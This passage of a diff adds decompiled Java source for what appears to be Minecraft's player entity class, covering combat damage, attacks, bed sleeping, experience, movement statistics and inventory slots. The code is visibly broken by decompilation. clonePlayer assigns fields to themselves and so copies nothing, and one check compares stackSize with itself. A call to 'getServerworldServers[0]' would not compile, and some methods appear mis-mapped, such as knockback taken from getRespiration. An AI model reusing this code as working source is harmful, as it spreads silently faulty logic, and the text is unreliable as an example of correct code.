+        var1++;
+      }
+    }
+    
+    return var1 / inventory.armorInventory.length;
+  }
+  
+
+
+
+
+  protected void damageEntity(DamageSource p_70665_1_, float p_70665_2_)
+  {
+    if (!func_180431_b(p_70665_1_))
+    {
+      if ((!p_70665_1_.isUnblockable()) && (isBlocking()) && (p_70665_2_ > 0.0F))
+      {
+        p_70665_2_ = (1.0F + p_70665_2_) * 0.5F;
+      }
+      
+      p_70665_2_ = applyArmorCalculations(p_70665_1_, p_70665_2_);
+      p_70665_2_ = applyPotionDamageCalculations(p_70665_1_, p_70665_2_);
+      float var3 = p_70665_2_;
+      p_70665_2_ = Math.max(p_70665_2_ - getAbsorptionAmount(), 0.0F);
+      setAbsorptionAmount(getAbsorptionAmount() - (var3 - p_70665_2_));
+      
+      if (p_70665_2_ != 0.0F)
+      {
+        addExhaustion(p_70665_1_.getHungerDamage());
+        float var4 = getHealth();
+        setHealth(getHealth() - p_70665_2_);
+        getCombatTracker().func_94547_a(p_70665_1_, var4, p_70665_2_);
+        
+        if (p_70665_2_ < 3.4028235E37F)
+        {
+          addStat(StatList.damageTakenStat, Math.round(p_70665_2_ * 10.0F));
+        }
+      }
+    }
+  }
+  
+
+  public void func_175141_a(TileEntitySign p_175141_1_) {}
+  
+
+  public void func_146095_a(CommandBlockLogic p_146095_1_) {}
+  
+
+  public void displayVillagerTradeGui(IMerchant villager) {}
+  
+
+  public void displayGUIChest(IInventory chestInventory) {}
+  
+
+  public void displayGUIHorse(EntityHorse p_110298_1_, IInventory p_110298_2_) {}
+  
+
+  public void displayGui(IInteractionObject guiOwner) {}
+  
+  public void displayGUIBook(ItemStack bookStack) {}
+  
+  public boolean interactWith(Entity p_70998_1_)
+  {
+    if (func_175149_v())
+    {
+      if ((p_70998_1_ instanceof IInventory))
+      {
+        displayGUIChest((IInventory)p_70998_1_);
+      }
+      
+      return false;
+    }
+    
+
+    ItemStack var2 = getCurrentEquippedItem();
+    ItemStack var3 = var2 != null ? var2.copy() : null;
+    
+    if (!p_70998_1_.interactFirst(this))
+    {
+      if ((var2 != null) && ((p_70998_1_ instanceof EntityLivingBase)))
+      {
+        if (capabilities.isCreativeMode)
+        {
+          var2 = var3;
+        }
+        
+        if (var2.interactWithEntity(this, (EntityLivingBase)p_70998_1_))
+        {
+          if ((stackSize <= 0) && (!capabilities.isCreativeMode))
+          {
+            destroyCurrentEquippedItem();
+          }
+          
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+    if ((var2 != null) && (var2 == getCurrentEquippedItem()))
+    {
+      if ((stackSize <= 0) && (!capabilities.isCreativeMode))
+      {
+        destroyCurrentEquippedItem();
+      }
+      else if ((stackSize < stackSize) && (capabilities.isCreativeMode))
+      {
+        stackSize = stackSize;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+  public ItemStack getCurrentEquippedItem()
+  {
+    return inventory.getCurrentItem();
+  }
+  
+
+
+
+  public void destroyCurrentEquippedItem()
+  {
+    inventory.setInventorySlotContents(inventory.currentItem, null);
+  }
+  
+
+
+
+  public double getYOffset()
+  {
+    return -0.35D;
+  }
+  
+
+
+
+
+  public void attackTargetEntityWithCurrentItem(Entity targetEntity)
+  {
+    if (targetEntity.canAttackWithItem())
+    {
+      if (!targetEntity.hitByEntity(this))
+      {
+        float var2 = (float)getEntityAttribute(SharedMonsterAttributes.attackDamage).getAttributeValue();
+        byte var3 = 0;
+        float var4 = 0.0F;
+        
+        if ((targetEntity instanceof EntityLivingBase))
+        {
+          var4 = EnchantmentHelper.func_152377_a(getHeldItem(), ((EntityLivingBase)targetEntity).getCreatureAttribute());
+        }
+        else
+        {
+          var4 = EnchantmentHelper.func_152377_a(getHeldItem(), net.minecraft.entity.EnumCreatureAttribute.UNDEFINED);
+        }
+        
+        int var18 = var3 + EnchantmentHelper.getRespiration(this);
+        
+        if (isSprinting())
+        {
+          var18++;
+        }
+        
+        if ((var2 > 0.0F) || (var4 > 0.0F))
+        {
+          boolean var5 = (fallDistance > 0.0F) && (!onGround) && (!isOnLadder()) && (!isInWater()) && (!isPotionActive(Potion.blindness)) && (ridingEntity == null) && ((targetEntity instanceof EntityLivingBase));
+          
+          if ((var5) && (var2 > 0.0F))
+          {
+            var2 *= 1.5F;
+          }
+          
+          var2 += var4;
+          boolean var6 = false;
+          int var7 = EnchantmentHelper.getFireAspectModifier(this);
+          
+          if (((targetEntity instanceof EntityLivingBase)) && (var7 > 0) && (!targetEntity.isBurning()))
+          {
+            var6 = true;
+            targetEntity.setFire(1);
+          }
+          
+          double var8 = motionX;
+          double var10 = motionY;
+          double var12 = motionZ;
+          boolean var14 = targetEntity.attackEntityFrom(DamageSource.causePlayerDamage(this), var2);
+          
+          if (var14)
+          {
+            if (var18 > 0)
+            {
+              targetEntity.addVelocity(-MathHelper.sin(rotationYaw * 3.1415927F / 180.0F) * var18 * 0.5F, 0.1D, MathHelper.cos(rotationYaw * 3.1415927F / 180.0F) * var18 * 0.5F);
+              motionX *= 0.6D;
+              motionZ *= 0.6D;
+              setSprinting(false);
+            }
+            
+            if (((targetEntity instanceof EntityPlayerMP)) && (velocityChanged))
+            {
+              playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S12PacketEntityVelocity(targetEntity));
+              velocityChanged = false;
+              motionX = var8;
+              motionY = var10;
+              motionZ = var12;
+            }
+            
+            if (var5)
+            {
+              onCriticalHit(targetEntity);
+            }
+            
+            if (var4 > 0.0F)
+            {
+              onEnchantmentCritical(targetEntity);
+            }
+            
+            if (var2 >= 18.0F)
+            {
+              triggerAchievement(AchievementList.overkill);
+            }
+            
+            setLastAttacker(targetEntity);
+            
+            if ((targetEntity instanceof EntityLivingBase))
+            {
+              EnchantmentHelper.func_151384_a((EntityLivingBase)targetEntity, this);
+            }
+            
+            EnchantmentHelper.func_151385_b(this, targetEntity);
+            ItemStack var15 = getCurrentEquippedItem();
+            Object var16 = targetEntity;
+            
+            if ((targetEntity instanceof EntityDragonPart))
+            {
+              net.minecraft.entity.IEntityMultiPart var17 = entityDragonObj;
+              
+              if ((var17 instanceof EntityLivingBase))
+              {
+                var16 = (EntityLivingBase)var17;
+              }
+            }
+            
+            if ((var15 != null) && ((var16 instanceof EntityLivingBase)))
+            {
+              var15.hitEntity((EntityLivingBase)var16, this);
+              
+              if (stackSize <= 0)
+              {
+                destroyCurrentEquippedItem();
+              }
+            }
+            
+            if ((targetEntity instanceof EntityLivingBase))
+            {
+              addStat(StatList.damageDealtStat, Math.round(var2 * 10.0F));
+              
+              if (var7 > 0)
+              {
+                targetEntity.setFire(var7 * 4);
+              }
+            }
+            
+            addExhaustion(0.3F);
+          }
+          else if (var6)
+          {
+            targetEntity.extinguish();
+          }
+        }
+      }
+    }
+  }
+  
+
+
+  public void onCriticalHit(Entity p_71009_1_) {}
+  
+
+
+  public void onEnchantmentCritical(Entity p_71047_1_) {}
+  
+
+  public void respawnPlayer() {}
+  
+
+  public void setDead()
+  {
+    super.setDead();
+    inventoryContainer.onContainerClosed(this);
+    
+    if (openContainer != null)
+    {
+      openContainer.onContainerClosed(this);
+    }
+  }
+  
+
+
+
+  public boolean isEntityInsideOpaqueBlock()
+  {
+    return (!sleeping) && (super.isEntityInsideOpaqueBlock());
+  }
+  
+  public boolean func_175144_cb()
+  {
+    return false;
+  }
+  
+
+
+
+  public GameProfile getGameProfile()
+  {
+    return gameProfile;
+  }
+  
+  public EnumStatus func_180469_a(BlockPos p_180469_1_)
+  {
+    if (!worldObj.isRemote)
+    {
+      if ((isPlayerSleeping()) || (!isEntityAlive()))
+      {
+        return EnumStatus.OTHER_PROBLEM;
+      }
+      
+      if (!worldObj.provider.isSurfaceWorld())
+      {
+        return EnumStatus.NOT_POSSIBLE_HERE;
+      }
+      
+      if (worldObj.isDaytime())
+      {
+        return EnumStatus.NOT_POSSIBLE_NOW;
+      }
+      
+      if ((Math.abs(posX - p_180469_1_.getX()) > 3.0D) || (Math.abs(posY - p_180469_1_.getY()) > 2.0D) || (Math.abs(posZ - p_180469_1_.getZ()) > 3.0D))
+      {
+        return EnumStatus.TOO_FAR_AWAY;
+      }
+      
+      double var2 = 8.0D;
+      double var4 = 5.0D;
+      List var6 = worldObj.getEntitiesWithinAABB(net.minecraft.entity.monster.EntityMob.class, new AxisAlignedBB(p_180469_1_.getX() - var2, p_180469_1_.getY() - var4, p_180469_1_.getZ() - var2, p_180469_1_.getX() + var2, p_180469_1_.getY() + var4, p_180469_1_.getZ() + var2));
+      
+      if (!var6.isEmpty())
+      {
+        return EnumStatus.NOT_SAFE;
+      }
+    }
+    
+    if (isRiding())
+    {
+      mountEntity(null);
+    }
+    
+    setSize(0.2F, 0.2F);
+    
+    if (worldObj.isBlockLoaded(p_180469_1_))
+    {
+      EnumFacing var7 = (EnumFacing)worldObj.getBlockState(p_180469_1_).getValue(BlockDirectional.AGE);
+      float var3 = 0.5F;
+      float var8 = 0.5F;
+      
+      switch (SwitchEnumFacing.field_179420_a[var7.ordinal()])
+      {
+      case 1: 
+        var8 = 0.9F;
+        break;
+      
+      case 2: 
+        var8 = 0.1F;
+        break;
+      
+      case 3: 
+        var3 = 0.1F;
+        break;
+      
+      case 4: 
+        var3 = 0.9F;
+      }
+      
+      func_175139_a(var7);
+      setPosition(p_180469_1_.getX() + var3, p_180469_1_.getY() + 0.6875F, p_180469_1_.getZ() + var8);
+    }
+    else
+    {
+      setPosition(p_180469_1_.getX() + 0.5F, p_180469_1_.getY() + 0.6875F, p_180469_1_.getZ() + 0.5F);
+    }
+    
+    sleeping = true;
+    sleepTimer = 0;
+    playerLocation = p_180469_1_;
+    motionX = (this.motionZ = this.motionY = 0.0D);
+    
+    if (!worldObj.isRemote)
+    {
+      worldObj.updateAllPlayersSleepingFlag();
+    }
+    
+    return EnumStatus.OK;
+  }
+  
+  private void func_175139_a(EnumFacing p_175139_1_)
+  {
+    field_71079_bU = 0.0F;
+    field_71089_bV = 0.0F;
+    
+    switch (SwitchEnumFacing.field_179420_a[p_175139_1_.ordinal()])
+    {
+    case 1: 
+      field_71089_bV = -1.8F;
+      break;
+    
+    case 2: 
+      field_71089_bV = 1.8F;
+      break;
+    
+    case 3: 
+      field_71079_bU = 1.8F;
+      break;
+    
+    case 4: 
+      field_71079_bU = -1.8F;
+    }
+    
+  }
+  
+
+
+  public void wakeUpPlayer(boolean p_70999_1_, boolean updateWorldFlag, boolean setSpawn)
+  {
+    setSize(0.6F, 1.8F);
+    IBlockState var4 = worldObj.getBlockState(playerLocation);
+    
+    if ((playerLocation != null) && (var4.getBlock() == Blocks.bed))
+    {
+      worldObj.setBlockState(playerLocation, var4.withProperty(BlockBed.OCCUPIED_PROP, Boolean.valueOf(false)), 4);
+      BlockPos var5 = BlockBed.getSafeExitLocation(worldObj, playerLocation, 0);
+      
+      if (var5 == null)
+      {
+        var5 = playerLocation.offsetUp();
+      }
+      
+      setPosition(var5.getX() + 0.5F, var5.getY() + 0.1F, var5.getZ() + 0.5F);
+    }
+    
+    sleeping = false;
+    
+    if ((!worldObj.isRemote) && (updateWorldFlag))
+    {
+      worldObj.updateAllPlayersSleepingFlag();
+    }
+    
+    sleepTimer = (p_70999_1_ ? 0 : 100);
+    
+    if (setSpawn)
+    {
+      func_180473_a(playerLocation, false);
+    }
+  }
+  
+  private boolean func_175143_p()
+  {
+    return worldObj.getBlockState(playerLocation).getBlock() == Blocks.bed;
+  }
+  
+  public static BlockPos func_180467_a(World worldIn, BlockPos p_180467_1_, boolean p_180467_2_)
+  {
+    if (worldIn.getBlockState(p_180467_1_).getBlock() != Blocks.bed)
+    {
+      if (!p_180467_2_)
+      {
+        return null;
+      }
+      
+
+      Material var3 = worldIn.getBlockState(p_180467_1_).getBlock().getMaterial();
+      Material var4 = worldIn.getBlockState(p_180467_1_.offsetUp()).getBlock().getMaterial();
+      boolean var5 = (!var3.isSolid()) && (!var3.isLiquid());
+      boolean var6 = (!var4.isSolid()) && (!var4.isLiquid());
+      return (var5) && (var6) ? p_180467_1_ : null;
+    }
+    
+
+
+    return BlockBed.getSafeExitLocation(worldIn, p_180467_1_, 0);
+  }
+  
+
+
+
+
+  public float getBedOrientationInDegrees()
+  {
+    if (playerLocation != null)
+    {
+      EnumFacing var1 = (EnumFacing)worldObj.getBlockState(playerLocation).getValue(BlockDirectional.AGE);
+      
+      switch (SwitchEnumFacing.field_179420_a[var1.ordinal()])
+      {
+      case 1: 
+        return 90.0F;
+      
+      case 2: 
+        return 270.0F;
+      
+      case 3: 
+        return 0.0F;
+      
+      case 4: 
+        return 180.0F;
+      }
+      
+    }
+    return 0.0F;
+  }
+  
+
+
+
+  public boolean isPlayerSleeping()
+  {
+    return sleeping;
+  }
+  
+
+
+
+  public boolean isPlayerFullyAsleep()
+  {
+    return (sleeping) && (sleepTimer >= 100);
+  }
+  
+  public int getSleepTimer()
+  {
+    return sleepTimer;
+  }
+  
+  public void addChatComponentMessage(IChatComponent p_146105_1_) {}
+  
+  public BlockPos func_180470_cg()
+  {
+    return spawnChunk;
+  }
+  
+  public boolean isSpawnForced()
+  {
+    return spawnForced;
+  }
+  
+  public void func_180473_a(BlockPos p_180473_1_, boolean p_180473_2_)
+  {
+    if (p_180473_1_ != null)
+    {
+      spawnChunk = p_180473_1_;
+      spawnForced = p_180473_2_;
+    }
+    else
+    {
+      spawnChunk = null;
+      spawnForced = false;
+    }
+  }
+  
+
+
+
+  public void triggerAchievement(StatBase p_71029_1_)
+  {
+    addStat(p_71029_1_, 1);
+  }
+  
+
+
+  public void addStat(StatBase p_71064_1_, int p_71064_2_) {}
+  
+
+
+  public void func_175145_a(StatBase p_175145_1_) {}
+  
+
+
+  public void jump()
+  {
+    super.jump();
+    triggerAchievement(StatList.jumpStat);
+    
+    if (isSprinting())
+    {
+      addExhaustion(0.8F);
+    }
+    else
+    {
+      addExhaustion(0.2F);
+    }
+  }
+  
+
+
+
+  public void moveEntityWithHeading(float p_70612_1_, float p_70612_2_)
+  {
+    double var3 = posX;
+    double var5 = posY;
+    double var7 = posZ;
+    
+    if ((capabilities.isFlying) && (ridingEntity == null))
+    {
+      double var9 = motionY;
+      float var11 = jumpMovementFactor;
+      jumpMovementFactor = (capabilities.getFlySpeed() * (isSprinting() ? 2 : 1));
+      super.moveEntityWithHeading(p_70612_1_, p_70612_2_);
+      motionY = (var9 * 0.6D);
+      jumpMovementFactor = var11;
+    }
+    else
+    {
+      super.moveEntityWithHeading(p_70612_1_, p_70612_2_);
+    }
+    
+    addMovementStat(posX - var3, posY - var5, posZ - var7);
+  }
+  
+
+
+
+  public float getAIMoveSpeed()
+  {
+    return (float)getEntityAttribute(SharedMonsterAttributes.movementSpeed).getAttributeValue();
+  }
+  
+
+
+
+  public void addMovementStat(double p_71000_1_, double p_71000_3_, double p_71000_5_)
+  {
+    if (ridingEntity == null)
+    {
+
+
+      if (isInsideOfMaterial(Material.water))
+      {
+        int var7 = Math.round(MathHelper.sqrt_double(p_71000_1_ * p_71000_1_ + p_71000_3_ * p_71000_3_ + p_71000_5_ * p_71000_5_) * 100.0F);
+        
+        if (var7 > 0)
+        {
+          addStat(StatList.distanceDoveStat, var7);
+          addExhaustion(0.015F * var7 * 0.01F);
+        }
+      }
+      else if (isInWater())
+      {
+        int var7 = Math.round(MathHelper.sqrt_double(p_71000_1_ * p_71000_1_ + p_71000_5_ * p_71000_5_) * 100.0F);
+        
+        if (var7 > 0)
+        {
+          addStat(StatList.distanceSwumStat, var7);
+          addExhaustion(0.015F * var7 * 0.01F);
+        }
+      }
+      else if (isOnLadder())
+      {
+        if (p_71000_3_ > 0.0D)
+        {
+          addStat(StatList.distanceClimbedStat, (int)Math.round(p_71000_3_ * 100.0D));
+        }
+      }
+      else if (onGround)
+      {
+        int var7 = Math.round(MathHelper.sqrt_double(p_71000_1_ * p_71000_1_ + p_71000_5_ * p_71000_5_) * 100.0F);
+        
+        if (var7 > 0)
+        {
+          addStat(StatList.distanceWalkedStat, var7);
+          
+          if (isSprinting())
+          {
+            addStat(StatList.distanceSprintedStat, var7);
+            addExhaustion(0.099999994F * var7 * 0.01F);
+          }
+          else
+          {
+            if (isSneaking())
+            {
+              addStat(StatList.distanceCrouchedStat, var7);
+            }
+            
+            addExhaustion(0.01F * var7 * 0.01F);
+          }
+        }
+      }
+      else
+      {
+        int var7 = Math.round(MathHelper.sqrt_double(p_71000_1_ * p_71000_1_ + p_71000_5_ * p_71000_5_) * 100.0F);
+        
+        if (var7 > 25)
+        {
+          addStat(StatList.distanceFlownStat, var7);
+        }
+      }
+    }
+  }
+  
+
+
+
+  private void addMountedMovementStat(double p_71015_1_, double p_71015_3_, double p_71015_5_)
+  {
+    if (ridingEntity != null)
+    {
+      int var7 = Math.round(MathHelper.sqrt_double(p_71015_1_ * p_71015_1_ + p_71015_3_ * p_71015_3_ + p_71015_5_ * p_71015_5_) * 100.0F);
+      
+      if (var7 > 0)
+      {
+        if ((ridingEntity instanceof EntityMinecart))
+        {
+          addStat(StatList.distanceByMinecartStat, var7);
+          
+          if (startMinecartRidingCoordinate == null)
+          {
+            startMinecartRidingCoordinate = new BlockPos(this);
+          }
+          else if (startMinecartRidingCoordinate.distanceSq(MathHelper.floor_double(posX), MathHelper.floor_double(posY), MathHelper.floor_double(posZ)) >= 1000000.0D)
+          {
+            triggerAchievement(AchievementList.onARail);
+          }
+        }
+        else if ((ridingEntity instanceof net.minecraft.entity.item.EntityBoat))
+        {
+          addStat(StatList.distanceByBoatStat, var7);
+        }
+        else if ((ridingEntity instanceof EntityPig))
+        {
+          addStat(StatList.distanceByPigStat, var7);
+        }
+        else if ((ridingEntity instanceof EntityHorse))
+        {
+          addStat(StatList.distanceByHorseStat, var7);
+        }
+      }
+    }
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    if (!capabilities.allowFlying)
+    {
+      if (distance >= 2.0F)
+      {
+        addStat(StatList.distanceFallenStat, (int)Math.round(distance * 100.0D));
+      }
+      
+      super.fall(distance, damageMultiplier);
+    }
+  }
+  
+
+
+
+  protected void resetHeight()
+  {
+    if (!func_175149_v())
+    {
+      super.resetHeight();
+    }
+  }
+  
+  protected String func_146067_o(int p_146067_1_)
+  {
+    return p_146067_1_ > 4 ? "game.player.hurt.fall.big" : "game.player.hurt.fall.small";
+  }
+  
+
+
+
+  public void onKillEntity(EntityLivingBase entityLivingIn)
+  {
+    if ((entityLivingIn instanceof net.minecraft.entity.monster.IMob))
+    {
+      triggerAchievement(AchievementList.killEnemy);
+    }
+    
+    EntityList.EntityEggInfo var2 = (EntityList.EntityEggInfo)EntityList.entityEggs.get(Integer.valueOf(EntityList.getEntityID(entityLivingIn)));
+    
+    if (var2 != null)
+    {
+      triggerAchievement(field_151512_d);
+    }
+  }
+  
+
+
+
+  public void setInWeb()
+  {
+    if (!capabilities.isFlying)
+    {
+      super.setInWeb();
+    }
+  }
+  
+  public ItemStack getCurrentArmor(int p_82169_1_)
+  {
+    return inventory.armorItemInSlot(p_82169_1_);
+  }
+  
+
+
+
+  public void addExperience(int p_71023_1_)
+  {
+    addScore(p_71023_1_);
+    int var2 = Integer.MAX_VALUE - experienceTotal;
+    
+    if (p_71023_1_ > var2)
+    {
+      p_71023_1_ = var2;
+    }
+    
+    experience += p_71023_1_ / xpBarCap();
+    
+    for (experienceTotal += p_71023_1_; experience >= 1.0F; experience /= xpBarCap())
+    {
+      experience = ((experience - 1.0F) * xpBarCap());
+      addExperienceLevel(1);
+    }
+  }
+  
+  public int func_175138_ci()
+  {
+    return field_175152_f;
+  }
+  
+  public void func_71013_b(int p_71013_1_)
+  {
+    experienceLevel -= p_71013_1_;
+    
+    if (experienceLevel < 0)
+    {
+      experienceLevel = 0;
+      experience = 0.0F;
+      experienceTotal = 0;
+    }
+    
+    field_175152_f = rand.nextInt();
+  }
+  
+
+
+
+  public void addExperienceLevel(int p_82242_1_)
+  {
+    experienceLevel += p_82242_1_;
+    
+    if (experienceLevel < 0)
+    {
+      experienceLevel = 0;
+      experience = 0.0F;
+      experienceTotal = 0;
+    }
+    
+    if ((p_82242_1_ > 0) && (experienceLevel % 5 == 0) && (field_82249_h < ticksExisted - 100.0F))
+    {
+      float var2 = experienceLevel > 30 ? 1.0F : experienceLevel / 30.0F;
+      worldObj.playSoundAtEntity(this, "random.levelup", var2 * 0.75F, 1.0F);
+      field_82249_h = ticksExisted;
+    }
+  }
+  
+
+
+
+
+  public int xpBarCap()
+  {
+    return experienceLevel >= 15 ? 37 + (experienceLevel - 15) * 5 : experienceLevel >= 30 ? 112 + (experienceLevel - 30) * 9 : 7 + experienceLevel * 2;
+  }
+  
+
+
+
+  public void addExhaustion(float p_71020_1_)
+  {
+    if (!capabilities.disableDamage)
+    {
+      if (!worldObj.isRemote)
+      {
+        foodStats.addExhaustion(p_71020_1_);
+      }
+    }
+  }
+  
+
+
+
+  public FoodStats getFoodStats()
+  {
+    return foodStats;
+  }
+  
+  public boolean canEat(boolean p_71043_1_)
+  {
+    return ((p_71043_1_) || (foodStats.needFood())) && (!capabilities.disableDamage);
+  }
+  
+
+
+
+  public boolean shouldHeal()
+  {
+    return (getHealth() > 0.0F) && (getHealth() < getMaxHealth());
+  }
+  
+
+
+
+  public void setItemInUse(ItemStack p_71008_1_, int p_71008_2_)
+  {
+    if (p_71008_1_ != itemInUse)
+    {
+      itemInUse = p_71008_1_;
+      itemInUseCount = p_71008_2_;
+      
+      if (!worldObj.isRemote)
+      {
+        setEating(true);
+      }
+    }
+  }
+  
+  public void setAnimation(ItemStack item)
+  {
+    if (item != itemInUse)
+    {
+      itemInUseCount = 1;
+    }
+  }
+  
+
+  public boolean func_175142_cm()
+  {
+    return capabilities.allowEdit;
+  }
+  
+  public boolean func_175151_a(BlockPos p_175151_1_, EnumFacing p_175151_2_, ItemStack p_175151_3_)
+  {
+    if (capabilities.allowEdit)
+    {
+      return true;
+    }
+    if (p_175151_3_ == null)
+    {
+      return false;
+    }
+    
+
+    BlockPos var4 = p_175151_1_.offset(p_175151_2_.getOpposite());
+    Block var5 = worldObj.getBlockState(var4).getBlock();
+    return (p_175151_3_.canPlaceOn(var5)) || (p_175151_3_.canEditBlocks());
+  }
+  
+
+
+
+
+  protected int getExperiencePoints(EntityPlayer p_70693_1_)
+  {
+    if (worldObj.getGameRules().getGameRuleBooleanValue("keepInventory"))
+    {
+      return 0;
+    }
+    
+
+    int var2 = experienceLevel * 7;
+    return var2 > 100 ? 100 : var2;
+  }
+  
+
+
+
+
+  protected boolean isPlayer()
+  {
+    return true;
+  }
+  
+  public boolean getAlwaysRenderNameTagForRender()
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void clonePlayer(EntityPlayer p_71049_1_, boolean p_71049_2_)
+  {
+    if (p_71049_2_)
+    {
+      inventory.copyInventory(inventory);
+      setHealth(p_71049_1_.getHealth());
+      foodStats = foodStats;
+      experienceLevel = experienceLevel;
+      experienceTotal = experienceTotal;
+      experience = experience;
+      setScore(p_71049_1_.getScore());
+      teleportDirection = teleportDirection;
+    }
+    else if (worldObj.getGameRules().getGameRuleBooleanValue("keepInventory"))
+    {
+      inventory.copyInventory(inventory);
+      experienceLevel = experienceLevel;
+      experienceTotal = experienceTotal;
+      experience = experience;
+      setScore(p_71049_1_.getScore());
+    }
+    
+    theInventoryEnderChest = theInventoryEnderChest;
+    getDataWatcher().updateObject(10, Byte.valueOf(p_71049_1_.getDataWatcher().getWatchableObjectByte(10)));
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return !capabilities.isFlying;
+  }
+  
+
+
+
+  public void sendPlayerAbilities() {}
+  
+
+
+
+  public void setGameType(WorldSettings.GameType gameType) {}
+  
+
+
+
+  public String getName()
+  {
+    return gameProfile.getName();
+  }
+  
+
+
+
+  public InventoryEnderChest getInventoryEnderChest()
+  {
+    return theInventoryEnderChest;
+  }
+  
+
+
+
+  public ItemStack getEquipmentInSlot(int p_71124_1_)
+  {
+    return p_71124_1_ == 0 ? inventory.getCurrentItem() : inventory.armorInventory[(p_71124_1_ - 1)];
+  }
+  
+
+
+
+  public ItemStack getHeldItem()
+  {
+    return inventory.getCurrentItem();
+  }
+  
+
+
+
+  public void setCurrentItemOrArmor(int slotIn, ItemStack itemStackIn)
+  {
+    inventory.armorInventory[slotIn] = itemStackIn;
+  }
+  
+
+
+
+
+
+  public boolean isInvisibleToPlayer(EntityPlayer playerIn)
+  {
+    if (!isInvisible())
+    {
+      return false;
+    }
+    if (playerIn.func_175149_v())
+    {
+      return false;
+    }
+    
+
+    Team var2 = getTeam();
+    return (var2 == null) || (playerIn == null) || (playerIn.getTeam() != var2) || (!var2.func_98297_h());
+  }
+  
+
+
+  public abstract boolean func_175149_v();
+  
+
+
+  public ItemStack[] getInventory()
+  {
+    return inventory.armorInventory;
+  }
+  
+  public boolean isPushedByWater()
+  {
+    return !capabilities.isFlying;
+  }
+  
+  public Scoreboard getWorldScoreboard()
+  {
+    return worldObj.getScoreboard();
+  }
+  
+  public Team getTeam()
+  {
+    return getWorldScoreboard().getPlayersTeam(getName());
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    ChatComponentText var1 = new ChatComponentText(ScorePlayerTeam.formatPlayerName(getTeam(), getName()));
+    var1.getChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.SUGGEST_COMMAND, "/msg " + getName() + " "));
+    var1.getChatStyle().setChatHoverEvent(func_174823_aP());
+    var1.getChatStyle().setInsertion(getName());
+    return var1;
+  }
+  
+  public float getEyeHeight()
+  {
+    float var1 = 1.62F;
+    
+    if (isPlayerSleeping())
+    {
+      var1 = 0.2F;
+    }
+    
+    if (isSneaking())
+    {
+      var1 -= 0.08F;
+    }
+    
+    return var1;
+  }
+  
+  public void setAbsorptionAmount(float p_110149_1_)
+  {
+    if (p_110149_1_ < 0.0F)
+    {
+      p_110149_1_ = 0.0F;
+    }
+    
+    getDataWatcher().updateObject(17, Float.valueOf(p_110149_1_));
+  }
+  
+  public float getAbsorptionAmount()
+  {
+    return getDataWatcher().getWatchableObjectFloat(17);
+  }
+  
+
+
+
+  public static UUID getUUID(GameProfile p_146094_0_)
+  {
+    UUID var1 = p_146094_0_.getId();
+    
+    if (var1 == null)
+    {
+      var1 = func_175147_b(p_146094_0_.getName());
+    }
+    
+    return var1;
+  }
+  
+  public static UUID func_175147_b(String p_175147_0_)
+  {
+    return UUID.nameUUIDFromBytes(("OfflinePlayer:" + p_175147_0_).getBytes(Charsets.UTF_8));
+  }
+  
+  public boolean func_175146_a(LockCode p_175146_1_)
+  {
+    if (p_175146_1_.isEmpty())
+    {
+      return true;
+    }
+    
+
+    ItemStack var2 = getCurrentEquippedItem();
+    return (var2 != null) && (var2.hasDisplayName()) ? var2.getDisplayName().equals(p_175146_1_.getLock()) : false;
+  }
+  
+
+  public boolean func_175148_a(EnumPlayerModelParts p_175148_1_)
+  {
+    return (getDataWatcher().getWatchableObjectByte(10) & p_175148_1_.func_179327_a()) == p_175148_1_.func_179327_a();
+  }
+  
+  public boolean sendCommandFeedback()
+  {
+    return getServerworldServers[0].getGameRules().getGameRuleBooleanValue("sendCommandFeedback");
+  }
+  
+  public boolean func_174820_d(int p_174820_1_, ItemStack p_174820_2_)
+  {
+    if ((p_174820_1_ >= 0) && (p_174820_1_ < inventory.mainInventory.length))
+    {
+      inventory.setInventorySlotContents(p_174820_1_, p_174820_2_);
+      return true;
+    }
+    
+
+    int var3 = p_174820_1_ - 100;
+    
+
+    if ((var3 >= 0) && (var3 < inventory.armorInventory.length))
+    {
+      int var4 = var3 + 1;
+      
+      if ((p_174820_2_ != null) && (p_174820_2_.getItem() != null))
+      {
+        if ((p_174820_2_.getItem() instanceof net.minecraft.item.ItemArmor))
+        {
+          if (EntityLiving.getArmorPosition(p_174820_2_) != var4)
+          {
+            return false;
+          }
+        }
+        else if ((var4 != 4) || ((p_174820_2_.getItem() != Items.skull) && (!(p_174820_2_.getItem() instanceof net.minecraft.item.ItemBlock))))
+        {
+          return false;
+        }
+      }
+      
+      inventory.setInventorySlotContents(var3 + inventory.mainInventory.length, p_174820_2_);
+      return true;
+    }
+    
+
+    int var4 = p_174820_1_ - 200;
+    
+    if ((var4 >= 0) && (var4 < theInventoryEnderChest.getSizeInventory()))
+    {
+      theInventoryEnderChest.setInventorySlotContents(var4, p_174820_2_);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+  public boolean func_175140_cp()
+  {
+    return field_175153_bG;
+  }
+  
+  public void func_175150_k(boolean p_175150_1_)
+  {
+    field_175153_bG = p_175150_1_;
+  }
+  
+  public static enum EnumChatVisibility
+  {
+    FULL("FULL", 0, 0, "options.chat.visibility.full"), 
+    SYSTEM("SYSTEM", 1, 1, "options.chat.visibility.system"), 
+    HIDDEN("HIDDEN", 2, 2, "options.chat.visibility.hidden");
+    
+    private static final EnumChatVisibility[] field_151432_d;
+    private final int chatVisibility;
+    private final String resourceKey;
+    private static final EnumChatVisibility[] $VALUES;
+    private static final String __OBFID = "CL_00001714";
+    
+    private EnumChatVisibility(String p_i45323_1_, int p_i45323_2_, int p_i45323_3_, String p_i45323_4_)
+    {
+      chatVisibility = p_i45323_3_;
+      resourceKey = p_i45323_4_;
+    }
+    
+    public int getChatVisibility()
+    {
+      return chatVisibility;
+    }
+    
+    public static EnumChatVisibility getEnumChatVisibility(int p_151426_0_)
+    {
+      return field_151432_d[(p_151426_0_ % field_151432_d.length)];
+    }
+    
+    public String getResourceKey()
+    {
+      return resourceKey;
+    }
+    
+    static
+    {
+      field_151432_d = new EnumChatVisibility[values().length];
+      
+
+
+      $VALUES = new EnumChatVisibility[] { FULL, SYSTEM, HIDDEN };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
